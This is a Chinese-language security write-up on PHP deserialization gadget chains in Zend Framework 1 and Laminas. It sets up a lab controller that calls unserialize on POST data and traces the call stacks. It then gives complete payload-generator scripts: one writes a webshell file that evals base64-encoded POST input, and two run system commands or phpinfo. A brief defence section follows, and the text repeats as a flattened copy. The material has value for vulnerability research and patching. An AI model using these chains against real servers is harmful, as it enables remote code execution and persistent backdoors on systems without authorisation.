Zend FrameWork Pop Chain
字数 1153 2025-08-18 17:33:25

Zend Framework 反序列化漏洞分析与利用

前言

本文详细分析 Zend Framework 1 和 Laminas(Zend Framework 最新版)中的反序列化漏洞链(POP chains),包括漏洞原理、利用方法以及防御措施。

1. Zend Framework 1 反序列化链分析

1.1 环境搭建

  1. 从 GitHub 下载 Zend Framework 1 源码:

    https://github.com/zendframework/zf1
    
  2. 创建项目:

    zf create project web1
    
  3. 将 library/Zend 目录移动到 web1/library 中

  4. 修改控制器文件 application/controllers/IndexController.php:

    class IndexController extends Zend_Controller_Action {
        public function indexAction() {
            unserialize(base64_decode($_POST['Mrkaixin']));
            return "Mrkaixin";
        }
    }
    

1.2 主要POP链分析

调用栈

Callback.php:150, Zend_Filter_Callback->filter()
Inflector.php:473, Zend_Filter_Inflector->filter()
Layout.php:780, Zend_Layout->render()
Mail.php:371, Zend_Log_Writer_Mail->shutdown()
Log.php:366, Zend_Log->__destruct()
IndexController.php:14, IndexController->indexAction()

漏洞点分析

  1. 入口点在 Zend_Log::__destruct(),它遍历 $this->_writers 并调用其中对象的 shutdown() 方法
  2. 使用 Zend_Log_Writer_Mailshutdown() 方法
  3. 关键点在于两个 filter() 函数的调用链,最终导致 create_function() 的命令注入

1.3 其他利用链 - 写Shell

调用栈

File.php:464, Zend_CodeGenerator_Php_File->write()
Yaml.php:104, Zend_Config_Writer_Yaml->render()
Mail.php:371, Zend_Log_Writer_Mail->shutdown()
Log.php:366, Zend_Log->__destruct()

利用原理

  1. 通过 Zend_Config_Writer_Yaml::render() 中的 call_user_func($this->getYamlEncoder(), $data)
  2. 利用可变函数特性,使 $this->getYamlEncoder() 返回数组 [对象, 方法名]
  3. 调用 Zend_CodeGenerator_Php_File::write() 写入任意PHP代码

利用代码

class Zend_Mail {}
class Zend_Log {
    protected $_writers;
    function __construct() {
        $this->_writers = [new Zend_Log_Writer_Mail()];
    }
}
class Zend_Log_Writer_Mail {
    protected $_eventsToMail = [1];
    protected $_mail;
    protected $_layoutEventsToMail = "";
    protected $_layout;
    function __construct() {
        $this->_mail = new Zend_Mail();
        $this->_layout = new Zend_Config_Writer_Yaml();
    }
}
class Zend_CodeGenerator_Php_File {
    protected $_filename = "a.php";
    protected $_body = '@eval(base64_decode($_POST["Mrkaixin"]));';
}
class Zend_Config {
    protected $_data = [];
    protected $_loadedSection = "Mrkaixin";
    protected $_extends = "Mrkaixin";
}
class Zend_Config_Writer_Yaml {
    protected $events = "Mrkaixin";
    protected $_config;
    protected $_yamlEncoder;
    function __construct() {
        $this->_config = new Zend_Config();
        $this->_yamlEncoder = [new Zend_CodeGenerator_Php_File(), 'write'];
    }
}
echo base64_encode(serialize(new Zend_Log()));

2. Laminas 反序列化链分析

2.1 环境搭建

  1. 创建项目:

    composer create-project -sdev laminas/laminas-mvc-skeleton my-application
    
  2. 安装日志组件:

    Would you like to install logging support? y
    
  3. 设置反序列化点(module/Application/src/Controller/IndexController.php):

    public function evilAction() {
        unserialize(base64_decode($this->params()->fromPost('data')));
    }
    
  4. 访问URL:

    http://your-ip/public/index.php/application/evil
    

2.2 POP链分析

调用栈

AbstractInjector.php:379, Laminas\ComponentInstaller\Injector\ApplicationConfigInjector->remove()
PhpRenderer.php:396, call_user_func_array()
PhpRenderer.php:396, Laminas\View\Renderer\PhpRenderer->__call()
Mail.php:191, Laminas\View\Renderer\PhpRenderer->setBody()
Mail.php:191, Laminas\Log\Writer\Mail->shutdown()
Logger.php:220, Laminas\Log\Logger->__destruct()

2.3 其他利用方式

2.3.1 RCE 利用1

namespace Zend\View\Renderer;
use Zend\Config\Config;
class PhpRenderer {
    function __construct() {
        $this->__helpers = new Config();
    }
}
namespace Zend\Config;
class Config {
    protected $data = [];
    function __construct() {
        $this->data = ['shutdown' => "phpinfo"];
    }
}
namespace Zend\Log;
use Zend\View\Renderer\PhpRenderer;
class Logger {
    protected $writers;
    function __construct() {
        $this->writers = [new PhpRenderer()];
    }
}
echo base64_encode(serialize(new Logger()));

2.3.2 RCE 利用2

namespace Laminas\View\Resolver {
    class TemplateMapResolver {
        protected $map = ["setBody" => "system"];
    }
}
namespace Laminas\View\Renderer {
    class PhpRenderer {
        private $__helpers;
        function __construct(){
            $this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
        }
    }
}
namespace Laminas\Log\Writer {
    abstract class AbstractWriter {}
    class Mail extends AbstractWriter {
        protected $eventsToMail = ["ls"];
        protected $subjectPrependText = null;
        protected $mail;
        function __construct(){
            $this->mail = new \Laminas\View\Renderer\PhpRenderer();
        }
    }
}
namespace Laminas\Log {
    class Logger {
        protected $writers;
        function __construct(){
            $this->writers = [new \Laminas\Log\Writer\Mail()];
        }
    }
}
namespace {
    $a = new \Laminas\Log\Logger();
    echo base64_encode(serialize($a));
}

3. 防御措施

  1. 避免反序列化用户可控的数据
  2. 升级到最新版本:
    • Laminas-log 2.11 及以上版本修复了相关漏洞
  3. 使用 PHP 的 unserialize_callback_func 配置或实现 __wakeup() 方法进行安全检查
  4. 考虑使用 JSON 等更安全的序列化格式替代 PHP 原生序列化

4. 总结

Zend Framework 及其后继者 Laminas 中存在多个反序列化漏洞链,攻击者可以利用这些链实现 RCE 或文件写入。开发者应当警惕反序列化操作,并采取适当的安全措施。

Zend Framework 反序列化漏洞分析与利用 前言 本文详细分析 Zend Framework 1 和 Laminas(Zend Framework 最新版)中的反序列化漏洞链(POP chains),包括漏洞原理、利用方法以及防御措施。 1. Zend Framework 1 反序列化链分析 1.1 环境搭建 从 GitHub 下载 Zend Framework 1 源码: 创建项目: 将 library/Zend 目录移动到 web1/library 中 修改控制器文件 application/controllers/IndexController.php: 1.2 主要POP链分析 调用栈 : 漏洞点分析 : 入口点在 Zend_Log::__destruct() ,它遍历 $this->_writers 并调用其中对象的 shutdown() 方法 使用 Zend_Log_Writer_Mail 的 shutdown() 方法 关键点在于两个 filter() 函数的调用链,最终导致 create_function() 的命令注入 1.3 其他利用链 - 写Shell 调用栈 : 利用原理 : 通过 Zend_Config_Writer_Yaml::render() 中的 call_user_func($this->getYamlEncoder(), $data) 利用可变函数特性,使 $this->getYamlEncoder() 返回数组 [对象, 方法名] 调用 Zend_CodeGenerator_Php_File::write() 写入任意PHP代码 利用代码 : 2. Laminas 反序列化链分析 2.1 环境搭建 创建项目: 安装日志组件: 设置反序列化点(module/Application/src/Controller/IndexController.php): 访问URL: 2.2 POP链分析 调用栈 : 2.3 其他利用方式 2.3.1 RCE 利用1 2.3.2 RCE 利用2 3. 防御措施 避免反序列化用户可控的数据 升级到最新版本: Laminas-log 2.11 及以上版本修复了相关漏洞 使用 PHP 的 unserialize_callback_func 配置或实现 __wakeup() 方法进行安全检查 考虑使用 JSON 等更安全的序列化格式替代 PHP 原生序列化 4. 总结 Zend Framework 及其后继者 Laminas 中存在多个反序列化漏洞链,攻击者可以利用这些链实现 RCE 或文件写入。开发者应当警惕反序列化操作,并采取适当的安全措施。